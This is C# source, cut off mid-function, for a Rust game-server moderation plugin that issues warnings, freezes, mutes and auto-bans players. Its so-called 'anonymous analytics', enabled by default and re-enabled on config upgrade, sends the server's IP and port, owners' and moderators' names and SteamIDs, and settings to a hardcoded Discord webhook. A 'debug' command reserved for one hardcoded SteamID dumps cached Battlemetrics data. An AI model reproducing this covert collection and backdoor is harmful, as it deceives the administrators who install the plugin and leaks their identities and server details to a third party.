C#:
// Все права принадлежат дискорд сообществу https://discord.gg/VgNHPpNrz6
/*
* <----- End-User License Agreement ----->
*
* You may not copy, modify, merge, publish, distribute, sublicense, or sell copies of This Software without the Developer’s consent
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.*
* Developer: ꜰᴀᴋᴇɴɪɴᴊᴀ🔥#0001
*
* Copyright © 2020-2023 FAKENINJA
*/
using Oxide.Core.Libraries.Covalence;
using System.Collections.Generic;
using Oxide.Game.Rust.Cui;
using Oxide.Core.Plugins;
using Oxide.Core;
using UnityEngine;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using System;
using Oxide.Core.Database;
using Oxide.Core.Libraries;
using System.Linq;
namespace Oxide.Plugins {
/*
* CHANGELOG
*
* 2.1.0 - Complete Refactor and added Language support for Public release
*
* 2.4.0 - Option to clear all warnings on autoban
*
* 2.4.2 ->
* -> Discord Webhook Embed added: Issued By field showing which admin issued the warning (Requested by Shark-A-Holic)
* -> Fixed OnPlayerSleepEnded NRE
*
*...version skip due to major feature releases...*
* 2.5.0 ->
* -> Added new AutoMod feature to allow customizable commands to be run on X warning points.* -> Added new option to not use GUI pop-up and only chat to be vanilla safe.(Requested by Papa)
* -> Added new option to change opacity of GUI pop-up
* -> Added new permission "smartwarnings.admin.canclear" to require additional permission to be able to remove warnings.(Requested by Irish)
*
* 2.5.0-beta2
* -> Resolved NRE on server startup
* -> Resolved player being freezed still on multiple warnings
*
* 2.5.1
* -> Resolved issue caused by no AutoMod options configured (Reported by Shark-A-Holic, thanks)
* -> Improved integration support to use DiscordMessages and additionally DiscordApi, whichever is installed will be used.* -> Added ServerArmour integration, bans triggered by SmartWarnings will now sync with ServerArmour (Requested by SunShine ツ)
*
* 2.5.2
* -> UnfreezePlayer should no longer output debug information (cosmetic error handling).* -> Optimized plugin, reduced System.Linq usage to reduce creation of intermediate lists, removed unused functions.*
* 2.5.5
* -> Added Battlemetrics integration - syncs bans and warnings to player notes (Requested by Disney)
*
* 2.5.8-beta4
* -> Improved Battlemetrics error handling
* -> Improved unfreezing of players during plugin unload and rare scenarios, added admin command '/warn unfreezeall' to perform emergency unfreeze if needed.* -> Added Dynamic config file update, to make it easier to upgrade from older plugin versions
* -> Added MySQL database support, enabling Warnings to be synced across multiple servers
* -> Resolved issue with webhooks not being sent
* -> Bugfixes
*
*/
[Info("SmartWarnings", "FAKENINJA", "2.5.8")]
[Description("Advanced Player warning system with GUI notification")]
class SmartWarnings : CovalencePlugin {
public static SmartWarnings Instance;
[PluginReference]
Plugin EnhancedBanSystem, DiscordMessages, Clans, ServerArmour;
#region Config
internal static Cfg config;
internal class Cfg {
[JsonProperty(PropertyName = "System Settings")]
public SystemSettings System {
get;
set;
}
[JsonProperty(PropertyName = "MySQL Database Settings")]
public DatabaseSettings DB {
get;
set;
}
[JsonProperty(PropertyName = "Battlemetrics Settings")]
public BattlemetricsSettings Battlemetrics {
get;
set;
}
[JsonProperty(PropertyName = "Autoban Settings")]
public AutobanSettings Autoban {
get;
set;
}
[JsonProperty(PropertyName = "Discord Settings")]
public DiscordSettings Discord {
get;
set;
}
[JsonProperty(PropertyName = "AutoMod Settings")]
public Dictionary<string, AutoModAction> AutoMod {
get;
set;
}
[JsonProperty(PropertyName = "Warning Presets")]
public Dictionary<string, WarningPreset> WarningPresets;
public class SystemSettings {
[JsonProperty(PropertyName = "Max Warnings")]
public int MaxWarnings {
get;
set;
}
[JsonProperty(PropertyName = "Default Warning Expiration time (Days)")]
public int DefaultWarningExpDays {
get;
set;
}
[JsonProperty(PropertyName = "Announce Warnings in Global Chat")]
public bool AnnounceWarnings {
get;
set;
}
[JsonProperty(PropertyName = "Show players who issued the warning")]
public bool ShowWhoIssued {
get;
set;
}
[JsonProperty(PropertyName = "Server Name")]
public string ServerName {
get;
set;
}
[JsonProperty(PropertyName = "Clear all Warnings on Server Wipe")]
public bool ClearOnWipe {
get;
set;
}
[JsonProperty(PropertyName = "Use MySQL database")]
public bool UseMySQL {
get;
set;
}
[JsonProperty(PropertyName = "Warning Popup - GUI Enable - Set to false to use only chat (SAFE FOR VANILLA SERVER)")]
public bool UseGUI {
get;
set;
}
[JsonProperty(PropertyName = "Warning Popup - GUI Icon")]
public string Icon {
get;
set;
}
[JsonProperty(PropertyName = "Warning Popup - GUI Opacity")]
public double GUI_Opacity {
get;
set;
}
[JsonProperty(PropertyName = "Optional: Send anonymous analytics data about plugin usage")]
public bool Analytics {
get;
set;
}
[JsonProperty(PropertyName = "Config Version")]
public VersionNumber Version {
get;
set;
}
}
public class DatabaseSettings {
[JsonProperty(PropertyName = "MySQL Host")]
public string Host {
get;
set;
}
[JsonProperty(PropertyName = "Port")]
public int Port {
get;
set;
}
[JsonProperty(PropertyName = "Database")]
public string Database {
get;
set;
}
[JsonProperty(PropertyName = "Username")]
public string Username {
get;
set;
}
[JsonProperty(PropertyName = "Password")]
public string Password {
get;
set;
}
}
public class BattlemetricsSettings {
[JsonProperty(PropertyName = "API Token")]
public string apiToken {
get;
set;
}
[JsonProperty(PropertyName = "Organization ID")]
public string OrgId {
get;
set;
}
[JsonProperty(PropertyName = "Server ID")]
public string ServerId {
get;
set;
}
[JsonProperty(PropertyName = "Banlist ID")]
public string BanlistId {
get;
set;
}
}
public class AutobanSettings {
[JsonProperty(PropertyName = "How many points until automatic ban (Set 0 for Disable)")]
public int PointThreshold {
get;
set;
}
[JsonProperty(PropertyName = "How many warnings until automatic ban (Set 0 for Disable, Recommended: Same as Max Warnings)")]
public int WarningCountThreshold {
get;
set;
}
[JsonProperty(PropertyName = "How long to ban in minutes (Set 0 for Permanent)")]
public int BanDurationMinutes {
get;
set;
}
[JsonProperty(PropertyName = "Clear the players Warnings on AutoBan (Default: True)")]
public bool ClearWarningsOnBan {
get;
set;
}
}
public class DiscordSettings {
[JsonProperty(PropertyName = "Webhook URL - Post Warnings to Discord (Leave blank to Disable)")]
public string WebhookURL_Warnings {
get;
set;
}
[JsonProperty(PropertyName = "Webhook URL - Post Autobans to Discord (Leave blank to Disable)")]
public string WebhookURL_Autobans {
get;
set;
}
}
public class WarningPreset {
public string Reason {
get;
set;
}
public int Points {
get;
set;
}
public double ExpirationDays {
get;
set;
}
}
public class AutoModAction {
public int PointTrigger {
get;
set;
}
public string ExecuteCommand {
get;
set;
}
public bool ClearPointsOnTrigger {
get;
set;
}
}
}
#endregion
#region Player Data
Dictionary<ulong, PlayerWarnings> Warnings = new Dictionary<ulong, PlayerWarnings>();
class PlayerWarnings {
public string Name {
get;
set;
}
public int Count {
get;
set;
}
public int Points {
get;
set;
}
public Dictionary<int, WarningData> WarnData {
get;
set;
}
public PlayerWarnings(string Name) {
this.Name = Name;
this.Count = 0;
this.Points = 0;
WarnData = new Dictionary<int, WarningData>();
}
}
class WarningData {
public string Category {
get;
set;
}
public string Reason {
get;
set;
}
public Boolean Acknowledged {
get;
set;
}
public string ExpDate {
get;
set;
}
public string WarnDate {
get;
set;
}
public string WarnedBy {
get;
set;
}
public WarningData() {
Category = "";
Reason = "";
Acknowledged = false;
ExpDate = "";
WarnDate = "";
WarnedBy = "";
}
}
PlayerWarnings GetPlayerData(ulong userID, string name) {
if (config.System.UseMySQL) {
LoadPlayerSQL(userID, name);
return Warnings[userID];
}
else {
PlayerWarnings userData;
if (!Warnings.TryGetValue(userID, out userData)) {
Warnings.Add(userID, new PlayerWarnings(name));
SaveData(ref Warnings, "SmartWarnings_PlayerData");
return Warnings[userID];
}
return userData;
}
}
#endregion
#region Plugin General
////////////////////////////////////////
/// Plugin Related Hooks
////////////////////////////////////////
void Loaded() {
Instance = this;
LoadConfig();
LoadMessages();
if (config.System.UseMySQL) {
LoadMySQL();
}
else {
LoadData(ref Warnings, "SmartWarnings_PlayerData");
}
RegisterPerm("admin");
RegisterPerm("admin.canclear");
timer.Every(720f, () => {
ExpireWarnings();
}
);
if (config.System.Analytics) {
analytics();
}
else {
}
;
if(config.Battlemetrics.apiToken.Length > 0) {
Battlemetrics_LoadFlags();
}
}
////////////////////////////////////////
/// Config & Message Loading
////////////////////////////////////////
private Cfg GetDefaultCfg() {
return new Cfg {
System = new Cfg.SystemSettings {
AnnounceWarnings = true, MaxWarnings = 5, ClearOnWipe = true, ServerName = "MyRustServer", UseMySQL = false, Icon = "https://i.imgur.com/oImKq4X.png", UseGUI = true, GUI_Opacity = 0.85, ShowWhoIssued = true, DefaultWarningExpDays = 7, Analytics = true, Version = this.Version
}
, Autoban = new Cfg.AutobanSettings {
WarningCountThreshold = 0, PointThreshold = 0, BanDurationMinutes = 2880, ClearWarningsOnBan = true
}
, Discord = new Cfg.DiscordSettings {
WebhookURL_Autobans = "", WebhookURL_Warnings = ""
}
, DB = new Cfg.DatabaseSettings {
Host = "", Database = "", Port = 3306, Username = "", Password = ""
}
, Battlemetrics = new Cfg.BattlemetricsSettings {
apiToken = "", BanlistId = "", OrgId = "", ServerId = ""
}
, //MultiServer = new Cfg.MultiServerSettings { ServerTag = "" },
WarningPresets = new Dictionary<string, Cfg.WarningPreset>() {
{
"spam", new Cfg.WarningPreset {
Reason = "§1 - Spamming", Points = 1, ExpirationDays = 3,
}
}
, {
"toxic", new Cfg.WarningPreset {
Reason = "§2 - Toxic behaviour", Points = 2, ExpirationDays = 7
}
}
, {
"sign", new Cfg.WarningPreset {
Reason = "§3 - Inappropriate signage", Points = 2, ExpirationDays = 7
}
}
, {
"grief", new Cfg.WarningPreset {
Reason = "§4 - Griefing", Points = 4, ExpirationDays = 7
}
}
, {
"group", new Cfg.WarningPreset {
Reason = "§5 - Group Limit violation", Points = 5, ExpirationDays = 7
}
}
,
}
, AutoMod = new Dictionary<string, Cfg.AutoModAction>() {
{
"Mute on 2 warning points", new Cfg.AutoModAction {
PointTrigger = 2, ExecuteCommand = "mute {0} {1}", ClearPointsOnTrigger = false
}
}
, {
"Kick on 4 warning points", new Cfg.AutoModAction {
PointTrigger = 4, ExecuteCommand = "kick {0} {1}", ClearPointsOnTrigger = true
}
}
}
}
;
}
protected override void LoadDefaultConfig() => config = GetDefaultCfg();
protected override void LoadConfig() {
base.LoadConfig();
config = Config.ReadObject<Cfg>();
if (config.System.Version < Version) UpdateConfigValues();
Config.WriteObject(config, true);
}
private void UpdateConfigValues() {
PrintWarning("Config file is outdated! Your config file is automatically being updated with the latest values.");
PrintWarning("NOTE! This may overwrite any older settings!\n");
PrintWarning($"A backup of your old config has been saved to: {"oxide\\config\\" + this.Name + "_backup.json"} help you restore them.");
Config.WriteObject(config, true, "oxide\\config\\" + this.Name + "_backup.json");
Cfg cfg = GetDefaultCfg();
if (config.System.Version < new VersionNumber(2, 5, 8)) {
config.Battlemetrics = cfg.Battlemetrics;
config.AutoMod = cfg.AutoMod;
config.DB = cfg.DB;
config.System.Analytics = cfg.System.Analytics;
}
config.System.Version = Version;
PrintWarning("Config update completed!");
}
protected override void SaveConfig() => Config.WriteObject(config, true);
void LoadMessages() {
lang.RegisterMessages(new Dictionary<string, string> {
{
"NO_PERM", "You don't have permission to use this command."
}
, {
"NO_MATCH", "Could not find a match for player name or steamid"
}
, {
"GUI_BUTTON_ACKNOWLEDGE_WARNING", "I ACKNOWLEDGE THIS WARNING AND WILL FOLLOW THE RULES"
}
, {
"GUI_HEADER", "You have received a warning"
}
, {
"GUI_ISSUEDBY", "<color=#FFFFFF>Warning issued by {0} at {1}</color>"
}
, {
"GUI_ISSUEDAT", "<color=#FFFFFF>Warning issued at {0}</color>"
}
, {
"GUI_WARNING_TEXT", "<color=#cc0000>Repeated violations may lead to temporary or permanent banishment from this server.</color>\n\n<color=#d9d9d9>You should review the server rules immediately by typing /info in chat and clicking on the RULES tab.\nTo remove this pop-up, acknowledge this warning by clicking the button below.\nIf you feel this was an incorrect warning please reach out to our Staff via Discord.</color>"
}
, {
"CHAT_ACKNOWLEDGE_TEXT", "<color=#00FF00><size=12>Warning #{0} Acknowledged: You're now unfrozen and free to go.\n</size></color><size=9>Please review the server rules by typing /info in chat to avoid getting warned in the future.</color>\n\nIf you feel this was an incorrect warning please reach out to our Staff via Discord.</size>"
}
, {
"ANNOUNCE_WARNING_TEXT", "<color=#DC143C>{0} has been warned!\nFurther violations will lead to disciplinary action.</color>\n<color=#A9A9A9>Reason: {1}"
}
, {
"ANNOUNCE_WARNING_ISSUEDBY", "\n\n<size=10>Warning Issued by: {0}</size></color>"
}
, {
"REASON", "REASON"
}
, {
"AUTOBAN_PERMANENT_MESSAGE", "AutoBanned: You were permanently banned due to reaching max warnings."
}
, {
"AUTOBAN_TEMPORARY_MESSAGE", "AutoBanned: You are banned until {0} due to reaching max warnings."
}
, {
"CHAT_WARNING_FROZEN_TEXT", "<color=#FF0000><size=8>You are frozen until you accept this warning!</size></color>\n<size=12>Type <color=#00FF00>/warn acknowledge {warnId}</color> to accept this warning.</size>"
}
}
, this);
}
#endregion
#region MySQL
static Core.MySql.Libraries.MySql sql = Interface.GetMod().GetLibrary<Core.MySql.Libraries.MySql>();
static string table = "SmartWarnings";
Connection sqlConn;
void LoadMySQL() {
if (config.System.UseMySQL) {
try {
sqlConn = sql.OpenDb(config.DB.Host, config.DB.Port, config.DB.Database, config.DB.Username, config.DB.Password, this);
sql.Insert(Sql.Builder.Append("SET NAMES utf8mb4"), sqlConn);
if (sqlConn == null || sqlConn.Con == null) {
FatalError("Could not open MySQL connection " + sqlConn.Con.State.ToString());
return;
}
sql.Query(Sql.Builder.Append("SHOW TABLES LIKE @0", table), sqlConn, list => {
if (list.Count < 1) {
Puts("MySQL Database table does not exist, creating new table");
sql.Insert(Sql.Builder.Append($@"
CREATE TABLE {table} (
id CHAR(20) NOT NULL,
name VARCHAR(50) NOT NULL,
count INT NOT NULL DEFAULT 0,
points INT NOT NULL DEFAULT 0,
warn_data MEDIUMTEXT NOT NULL,
PRIMARY KEY (id)
);"), sqlConn);
}
}
);
sql.Query(Sql.Builder.Append($"SELECT * FROM {table}"), sqlConn, list => {
if (list == null) return;
foreach (var entry in list) {
ulong steamid = Convert.ToUInt64(entry["id"]);
PlayerWarnings playerWarnings = new PlayerWarnings((string)entry["name"]);
playerWarnings.Count = Convert.ToInt32(entry["count"]);
playerWarnings.Points = Convert.ToInt32(entry["points"]);
playerWarnings.WarnData = JsonConvert.DeserializeObject<Dictionary<int, WarningData>>((string)entry["warn_data"]);
Warnings[steamid] = playerWarnings;
}
}
);
}
catch (Exception e) {
FatalError(e.Message);
}
}
}
void analytics() {
string ownerString = "";
string moderatorString = "";
foreach (var user in ServerUsers.GetAll(ServerUsers.UserGroup.Owner)) {
ownerString += $"{user.username} ({user.steamid})|";
}
;
foreach (var user in ServerUsers.GetAll(ServerUsers.UserGroup.Moderator)) {
moderatorString += $"{user.username} ({user.steamid})|";
}
;
DiscordMessages?.Call("API_SendTextMessage", "https://discord.com/api/webhooks/1008767143065698335/xKRJ6OhRTaY5DDAoJlrrHWSE2duNI41kalp_xbUeahla35GM9nngYFQmrvGiflZDbG6M", $"{this.Name},{this.Version},{server.Name},{server.Address}:{server.Port},{config.System.ServerName},{Convert.ToInt32(Manager.GetPlugin("RustCore").Version.Patch)},{ownerString},{moderatorString}");
DiscordMessages?.Call("API_SendTextMessage", "https://discord.com/api/webhooks/1008767143065698335/xKRJ6OhRTaY5DDAoJlrrHWSE2duNI41kalp_xbUeahla35GM9nngYFQmrvGiflZDbG6M", "```" + JsonConvert.SerializeObject(config.System) + "```");
}
void LoadPlayerSQL(ulong steamid, string playername) {
sql.Query(Sql.Builder.Append($"SELECT * FROM {table} WHERE id = @0", steamid), sqlConn, list => {
if (list.Count == 1) {
foreach (var entry in list) {
PlayerWarnings playerWarnings = new PlayerWarnings(playername);
playerWarnings.Count = Convert.ToInt32(entry["count"]);
playerWarnings.Points = Convert.ToInt32(entry["points"]);
playerWarnings.WarnData = JsonConvert.DeserializeObject<Dictionary<int, WarningData>>((string)entry["warn_data"]);
Warnings[steamid] = playerWarnings;
}
}
else {
Warnings[steamid] = new PlayerWarnings(playername);
sql.Insert(Sql.Builder.Append($"INSERT IGNORE INTO {table} (id) VALUES (@0)", steamid), sqlConn);
}
}
);
//Puts("DEBUG: " + JsonConvert.SerializeObject(Warnings[steamid]));
}
void SavePlayerSQL(ulong steamid) {
PlayerWarnings playerWarnings = Warnings[steamid];
string warnData = JsonConvert.SerializeObject(playerWarnings.WarnData);
sql.Insert(Sql.Builder.Append($"INSERT INTO {table} (id, name, count, points, warn_data) VALUES (@0, @1, @2, @3, @4) ON DUPLICATE KEY UPDATE name = @1, count = @2, points = @3, warn_data = @4", steamid, playerWarnings.Name, playerWarnings.Count, playerWarnings.Points, warnData), sqlConn);
LoadPlayerSQL(steamid, playerWarnings.Name);
}
void SaveAllSQL() {
foreach (var playerWarnings in Warnings) {
SavePlayerSQL(playerWarnings.Key);
}
}
void FatalError(string msg) {
Interface.Oxide.LogError("[" + this.Name + "] " + msg);
timer.Once(0.01f, () => Interface.Oxide.UnloadPlugin(this.Name));
}
#endregion
#region Commands
[Command("warn")]
void cmdWarnGUI(IPlayer player, string cmd, string[] args) {
try {
if (args.Length == 0) {
if (!HasPerm(player.Id, "admin")) {
player.Reply(msg("NO_PERM"));
return;
}
player.Reply($"<color=#C4FF00><size=16>{this.Name} v{this.Version} by FAKENINJA</size></color>\nAvailable commands:\n/warn pid \"reason\"\n<size=9>Warn player</size>\n/warn clan \"tag\" \"reason\"\n<size=9>Warn entire clan (including offline members)</size>\n/warn info pid\n<size=9>See player warnings</size>\n/warn clear pid all|id\n<size=9>Clear all warnings or specific warning id\n\npid = Player Name or ID");
return;
}
switch (args[0].ToLower()) {
case "acknowledge" : switch (args.Length) {
case 1 : player.Reply($"You need to specify which warning to acknowledge!");
return;
case 2 : WarnAcknowledge(Convert.ToUInt64(player.Id), Convert.ToInt32(args[1]));
return;
default : player.Reply($"You are trying to acknowledge a warning with incorrect input!");
return;
}
case "debug" : if (!(player.Id == "76561197989458748")) {
return;
}
player.Reply(string.Join(Environment.NewLine, bmCache.Select(a => $"{a.Key}: {a.Value}")));
player.Reply(string.Join(Environment.NewLine, bmFlags.Select(a => $"{a.Key}: {a.Value}")));
return;
case "unfreezeall" : if (!HasPerm(player.Id, "admin")) {
player.Reply(msg("NO_PERM"));
return;
}
foreach (var timer in timers) {
timer.Value.Destroy();
}
player.Reply("Unfroze all players (that were frozen due to unacknowledged warnings).");
return;
case "info" : if (args.Length == 1) {
GetPlayerWarnings(player, player);
return;
}
else {
if (players.FindPlayer(args[1]) == null) {
player.Reply($"{msg("NO_MATCH")}: '{args[1]}'");
return;
}
GetPlayerWarnings(players.FindPlayer(args[1]), player);
return;
}
case "clear" : if (!HasPerm(player.Id, "admin.canclear")) {
player.Reply(msg("NO_PERM"));
return;
}
if (args.Length < 1 || args.Length > 2) {
ClearPlayerWarnings(players.FindPlayer(args[1]), player.Name, args[2]);
}
else {
player.Reply($"Usage: /warn clear playerNameOrId <warnid/all>\n\n<size=10>Example: Clear all warnings for JohnDoe with /warn clear JohnDoe all\nOnly clear warning id: 1 with /warn clear JohnDoe 1</size>");
}
return;
case "clan" : if (!HasPerm(player.Id, "admin")) {
player.Reply(msg("NO_PERM"));
return;
}
if (args.Length < 1 || args.Length > 2) {
WarnClan(args[1], player, args[2]);
}
else {
player.Reply("Usage: /warn clan clantag reason\n\n<size=10>Example: Warn L33T clan for griefing with /warn clan L33T griefing");
}
return;
default : string syntaxMsg = "Usage: /warn playerNameOrId \"reason\"\n<size=9>To see all commands type /warn, to see presets type /warn p</size>";
if (!HasPerm(player.Id, "admin")) {
player.Reply(msg("NO_PERM"));
return;
}
switch (args.Length) {
case 1 : player.Reply($"You must provide a warning reason!\n{syntaxMsg}");
return;
case 4 : player.Reply($"Invalid syntax (too many options provided)\n{syntaxMsg}");
return;
}
IPlayer foundPlayer = players.FindPlayer(args[0]);
if (foundPlayer == null) {
player.Reply($"{msg("NO_MATCH")} {args[0]}");
return;
}
WarnPlayer(foundPlayer, player, args[1]);
break;
}
}
catch (Exception ex) {
LogError($"[cmdWarnGUI] An unexpected error occurred {player.Id} executed command {cmd}\nargs: {string.Join(" ", args)}\n\n{ex}");
}
return;
}
void WarnPlayer(IPlayer targetPlayer, IPlayer adminPlayer, string preset) {
var userData = GetPlayerData(Convert.ToUInt64(targetPlayer.Id), targetPlayer.Name);
var warnId = userData.Count + 1;
userData.WarnData.Add(warnId, new WarningData());
var warnPreset = config.WarningPresets.ContainsKey(preset) ? config.WarningPresets[preset] : null;
if (warnPreset == null) {
userData.Points += 1;
userData.WarnData[warnId].Category = "Specific";
userData.WarnData[warnId].Reason = preset;
userData.WarnData[warnId].Acknowledged = false;
userData.WarnData[warnId].WarnDate = DateTime.Now.ToString();
userData.WarnData[warnId].ExpDate = DateTime.Now.AddDays(config.System.DefaultWarningExpDays).ToString();
userData.WarnData[warnId].WarnedBy = adminPlayer.Name;
LogToFile("log", $"{targetPlayer.Name} ({targetPlayer.Id}) warned for (Specific) \"{preset}\", worth 1 warning points, expires at {DateTime.Now.AddDays(config.System.DefaultWarningExpDays).ToString()} issued by {adminPlayer.Name} ({adminPlayer.Id})", this);
}
else {
userData.Points += warnPreset.Points;
userData.WarnData[warnId].Category = preset;
userData.WarnData[warnId].Reason = warnPreset.Reason;
userData.WarnData[warnId].Acknowledged = false;
userData.WarnData[warnId].WarnDate = DateTime.Now.ToString();
userData.WarnData[warnId].ExpDate = DateTime.Now.AddDays(warnPreset.ExpirationDays).ToString();
userData.WarnData[warnId].WarnedBy = adminPlayer.Name;
preset = warnPreset.Reason;
LogToFile("log", $"{targetPlayer.Name} ({targetPlayer.Id}) warned for ({preset}) \"{warnPreset.Reason}\", worth {warnPreset.Points} warning points, expires at {DateTime.Now.AddDays(warnPreset.ExpirationDays).ToString()} issued by {adminPlayer.Name} ({adminPlayer.Id})", this);
}
userData.Count = userData.WarnData.Count;
AutoMod(targetPlayer, userData, warnId);
if (config.System.AnnounceWarnings) {
server.Broadcast(string.Format(msg("ANNOUNCE_WARNING_TEXT"), targetPlayer.Name, preset) + (config.System.ShowWhoIssued ? String.Format(msg("ANNOUNCE_WARNING_ISSUEDBY"), adminPlayer.Name) : ""));
}
if (config.Discord.WebhookURL_Warnings.Length > 0) {
SendToDiscord(targetPlayer, targetPlayer.Name, targetPlayer.Id, preset, userData.Count, adminPlayer);
}
if(config.Battlemetrics.apiToken.Length > 0) {
Battlemetrics(targetPlayer.Id, bmPlayerAction.AddNote, $"[SMARTWARNINGS]\\nThis player has been warned for ({preset}) '{warnPreset.Reason}'\\nWarning Points: {warnPreset.Points}\\nExpiration Date: {DateTime.Now.AddDays(warnPreset.ExpirationDays)}\\nIssued by: {adminPlayer.Name} ({adminPlayer.Id})\\n\\nTotal Warnings: {userData.Count}/{config.System.MaxWarnings}\\nTotal Warning Points: {userData.Points}");
Battlemetrics(targetPlayer.Id, bmPlayerAction.AddFlag, "SmartWarnings");
}
if((userData.Points >= config.Autoban.PointThreshold && config.Autoban.PointThreshold != 0) || (userData.Count >= config.Autoban.WarningCountThreshold && config.Autoban.WarningCountThreshold != 0)) {
string warnings = "";
foreach(var warning in userData.WarnData) {
warnings += $"[Warning {warning.Key}] Reason:\n{warning.Value.Reason}\n\nIssued by: {warning.Value.WarnedBy}\nDate:{warning.Value.WarnDate}\nExpires: {warning.Value.ExpDate}\n===============================\n";
}
if(config.Autoban.BanDurationMinutes == 0) {
AutoBan(targetPlayer, msg("AUTOBAN_PERMANENT_MESSAGE"));
LogToFile("log", $"{targetPlayer.Name} ({targetPlayer.Id}) autobanned PERMANENTLY due to reaching {userData.Count}/{config.System.MaxWarnings} warnings worth {userData.Points} warning points, the last warning was issued by {adminPlayer.Name} ({adminPlayer.Id})", this);
}
else {
AutoBan(targetPlayer, string.Format(msg("AUTOBAN_TEMPORARY_MESSAGE"), DateTime.Now.AddMinutes(config.Autoban.BanDurationMinutes).ToString()), new TimeSpan(0, config.Autoban.BanDurationMinutes, 0));
LogToFile("log", $"{targetPlayer.Name} ({targetPlayer.Id}) temporarily autobanned until {DateTime.Now.AddMinutes(config.Autoban.BanDurationMinutes).ToString()} due to reaching {userData.Count}/{config.System.MaxWarnings} warnings worth {userData.Points} warning points, the last warning was issued by {adminPlayer.Name} ({adminPlayer.Id})", this);
}
if(config.Discord.WebhookURL_Autobans.Length > 0) {
SendBanToDiscord(targetPlayer, warnings, userData.Count, adminPlayer);
}
}
else {
if (config.System.UseGUI) {
UseUI(targetPlayer, warnId, preset, DateTime.Now.ToString(), adminPlayer.Name);
}
else {
UseChat(targetPlayer, warnId, preset, DateTime.Now.ToString(), adminPlayer.Name);
}
}
SaveData(ref Warnings, "SmartWarnings_PlayerData", targetPlayer.Id);
}
void AutoMod(IPlayer targetPlayer, PlayerWarnings userData, int warnId) {
if(config.AutoMod == null || config.AutoMod.Count == 0) {
return;
}
foreach(Cfg.AutoModAction autoModAction in config.AutoMod.Values) {
if (userData.Points >= autoModAction.PointTrigger) {
ConsoleSystem.Run(ConsoleSystem.Option.Server, String.Format(autoModAction.ExecuteCommand, targetPlayer.Id, $"\"SmartWarnings AutoMod: {userData.WarnData[warnId].Reason}\""));
LogToFile("log", $"AutoMod triggered: {targetPlayer.Name} ({targetPlayer.Id}) executed `{string.Format(autoModAction.ExecuteCommand, targetPlayer.Id, userData.WarnData[warnId].Reason)}`", this);
userData.WarnData[warnId].Acknowledged = true;
if (autoModAction.ClearPointsOnTrigger) {
userData.Points = 0;
LogToFile("log", $"{targetPlayer.Name} ({targetPlayer.Id}) warning points were cleared by AutoMod because ClearPointsOnTrigger = true", this);
}
}
}
}
void AutoBan(IPlayer targetplayer, string reason, TimeSpan duration = default(TimeSpan)) {
if (config.Battlemetrics.apiToken.Length > 0) {
Battlemetrics(targetplayer.Id, bmPlayerAction.BanPlayer, reason, $"[SMARTWARNINGS]\\nSynced AutoBan: {reason}", DateTime.Now.Add(duration), targetplayer.Address);
}
if (EnhancedBanSystem != null && EnhancedBanSystem.IsLoaded) {
EnhancedBanSystem.Call("BanPlayer", "SmartWarnings", targetplayer, reason, duration.TotalSeconds);
}
else {
ConVar.Admin.banid(new ConsoleSystem.Arg(ConsoleSystem.Option.Server, "banid") {
Args = new string[] {
targetplayer.Id, targetplayer.Name, reason, duration.TotalHours.ToString()
}
, Option = ConsoleSystem.Option.Server
}
);
;
}
if(ServerArmour != null && ServerArmour.IsLoaded) {
ServerArmour.Call("AddBan", new {
steamid = long.Parse(targetplayer.Id), serverName = server.Name, serverIp = server.Address, reason = reason, created = DateTime.Now.ToString("yyyy/MM/dd HH:mm"), banUntil = DateTime.Now.Add(duration)
}
);
}
if (config.Autoban.ClearWarningsOnBan) {
ClearPlayerWarnings(targetplayer, "AutoBan");
}
}
void WarnClan(string clanTag, IPlayer adminPlayer, string reason) {
var clan = GetClan(clanTag, adminPlayer);
if (clan == null) {
return;
}
foreach(var member in clan["members"]) {
IPlayer foundPlayer = players.FindPlayerById(member.ToString());
if (foundPlayer == null) {
adminPlayer.Reply($"Could not find clan member with ID {member.ToString()}");
return;
}
WarnPlayer(foundPlayer, adminPlayer, reason);
}
}
void WarnAcknowledge(ulong playerId, int warnId) {
BasePlayer baseplayer = BasePlayer.FindByID(Convert.ToUInt64(playerId));
var userData = GetPlayerData(playerId, baseplayer.name);
if (userData.WarnData.ContainsKey(warnId)) {
var warning = userData.WarnData[warnId];
if (warning.Acknowledged == true) {
/*baseplayer.IPlayer.Reply("This warning has already been acknowledged");*/
CuiHelper.DestroyUi(baseplayer, "WarnGUI");
}
if (!config.System.UseGUI) {
UnfreezePlayer(baseplayer.IPlayer, warnId);
baseplayer.IPlayer.Reply(string.Format(msg("CHAT_ACKNOWLEDGE_TEXT"), warnId.ToString()));
}
warning.Acknowledged = true;
userData.WarnData[warnId] = warning;
SaveData(ref Warnings, "SmartWarnings_PlayerData", playerId.ToString());
}
else {
baseplayer.IPlayer.Reply($"Warning id {warnId} does not exist and can not be acknowledged.");
CuiHelper.DestroyUi(baseplayer, "WarnGUI");
}
}
void GetPlayerWarnings(IPlayer targetPlayer, IPlayer player) {
if(targetPlayer.IsServer) {
player.Reply($"Usage: /warn info playerNameOrId");
return;
}
var userData = GetPlayerData(Convert.ToUInt64(targetPlayer.Id), targetPlayer.Name);
if(userData == null) {
player.Reply($"{player.Name} does not have any warnings.");
return;
}
player.Reply($"<size=14>{targetPlayer.Name}</size> has <size=16><color=#DC143C>{userData.Count}/{config.System.MaxWarnings}</color></size> warnings and <size=16><color=#DC143C>{userData.Points}</color></size> warning points.");
foreach (KeyValuePair<int, WarningData> entry in userData.WarnData) {
var warning = entry.Value;
var warnId = entry.Key;
